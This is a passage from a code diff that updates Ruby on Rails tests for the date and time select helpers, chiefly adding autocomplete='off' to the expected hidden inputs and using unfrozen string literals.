     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2326,9 +2410,9 @@ def test_time_select
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2345,9 +2429,9 @@ def test_time_select_with_selected
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 12}>#{sprintf("%02d", i)}</option>\n) }
@@ -2364,9 +2448,9 @@ def test_time_select_with_selected_nil
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
@@ -2383,7 +2467,7 @@ def test_time_select_without_date_hidden_fields
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected = +%(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
     expected << "</select>\n"
     expected << " : "
@@ -2398,9 +2482,9 @@ def test_time_select_with_seconds
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2421,9 +2505,9 @@ def test_time_select_with_html_options
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2433,7 +2517,7 @@ def test_time_select_with_html_options
     0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
     expected << "</select>\n"
 
-    assert_dom_equal expected, time_select("post", "written_on", {}, class: "selector")
+    assert_dom_equal expected, time_select("post", "written_on", {}, { class: "selector" })
   end
 
   def test_time_select_with_html_options_within_fields_for
@@ -2441,12 +2525,12 @@ def test_time_select_with_html_options_within_fields_for
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
     output_buffer = fields_for :post, @post do |f|
-      concat f.time_select(:written_on, {}, class: "selector")
+      concat f.time_select(:written_on, {}, { class: "selector" })
     end
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2463,9 +2547,9 @@ def test_time_select_with_separator
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2490,9 +2574,9 @@ def test_time_select_with_default_prompt
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     expected << %(<option value="">Hour</option>\n)
@@ -2511,9 +2595,9 @@ def test_time_select_with_custom_prompt
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
     expected << %(<option value="">Choose hour</option>\n)
@@ -2532,9 +2616,9 @@ def test_time_select_with_generic_with_css_classes
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="hour">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2553,9 +2637,9 @@ def test_time_select_with_custom_with_css_classes
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="my-hour">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2574,9 +2658,9 @@ def test_time_select_with_disabled_html_option
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
+    expected = +%{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" autocomplete="off" />\n}
 
     expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2586,14 +2670,14 @@ def test_time_select_with_disabled_html_option
     0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
     expected << "</select>\n"
 
-    assert_dom_equal expected, time_select("post", "written_on", {}, disabled: true)
+    assert_dom_equal expected, time_select("post", "written_on", {}, { disabled: true })
   end
 
   def test_datetime_select
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2622,7 +2706,7 @@ def test_datetime_select_with_selected
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2651,7 +2735,7 @@ def test_datetime_select_with_selected_nil
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
 
-    expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1"/>' + "\n"
+    expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1" autocomplete="off" />' + "\n"
 
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
     expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
@@ -2688,7 +2772,7 @@ def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
 
     @post = Post.new
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2720,10 +2804,10 @@ def test_datetime_select_with_html_options_within_fields_for
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
 
     output_buffer = fields_for :post, @post do |f|
-      concat f.datetime_select(:updated_at, {}, class: "selector")
+      concat f.datetime_select(:updated_at, {}, { class: "selector" })
     end
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
     expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
     expected << %{ &mdash; <select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option selected="selected" value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n}
@@ -2736,7 +2820,7 @@ def test_datetime_select_with_separators
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2776,20 +2860,24 @@ def test_datetime_select_with_separators
   def test_datetime_select_with_integer
     @post = Post.new
     @post.updated_at = 3
-    datetime_select("post", "updated_at")
+    assert_nothing_raised do
+      datetime_select("post", "updated_at")
+    end
   end
 
   def test_datetime_select_with_infinity # Float
     @post = Post.new
     @post.updated_at = (-1.0 / 0)
-    datetime_select("post", "updated_at")
+    assert_nothing_raised do
+      datetime_select("post", "updated_at")
+    end
   end
 
   def test_datetime_select_with_default_prompt
     @post = Post.new
     @post.updated_at = nil
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2818,7 +2906,7 @@ def test_datetime_select_with_custom_prompt
     @post = Post.new
     @post.updated_at = nil
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2847,7 +2935,7 @@ def test_datetime_select_with_generic_with_css_classes
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2876,7 +2964,7 @@ def test_datetime_select_with_custom_with_css_classes
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2902,7 +2990,7 @@ def test_datetime_select_with_custom_with_css_classes
   end
 
   def test_date_select_with_zero_value_and_no_start_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -2918,7 +3006,7 @@ def test_date_select_with_zero_value_and_no_start_year
   end
 
   def test_date_select_with_zero_value_and_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     last_year = Time.now.year + 5
     2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
@@ -2935,7 +3023,7 @@ def test_date_select_with_zero_value_and_no_end_year
   end
 
   def test_date_select_with_zero_value_and_no_start_and_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -2951,7 +3039,7 @@ def test_date_select_with_zero_value_and_no_start_and_end_year
   end
 
   def test_date_select_with_nil_value_and_no_start_and_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -2967,7 +3055,7 @@ def test_date_select_with_nil_value_and_no_start_and_end_year
   end
 
   def test_datetime_select_with_nil_value_and_no_start_and_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -2999,7 +3087,7 @@ def test_datetime_select_with_options_index
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
     id = 456
 
-    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected = +%{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -3033,7 +3121,7 @@ def test_datetime_select_within_fields_for_with_options_index
       concat f.datetime_select(:updated_at)
     end
 
-    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected = +%{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -3063,7 +3151,7 @@ def test_datetime_select_with_auto_index
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
     id = @post.id
 
-    expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected = +%{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -3092,7 +3180,7 @@ def test_datetime_select_with_seconds
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
@@ -3123,7 +3211,7 @@ def test_datetime_select_discard_year
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected = +%{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" autocomplete="off" />\n}
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
     1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
     expected << "</select>\n"
@@ -3148,11 +3236,11 @@ def test_datetime_select_discard_month
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
     expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" autocomplete="off" />\n}
 
     expected << " &mdash; "
 
@@ -3171,9 +3259,9 @@ def test_datetime_select_discard_year_and_month
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
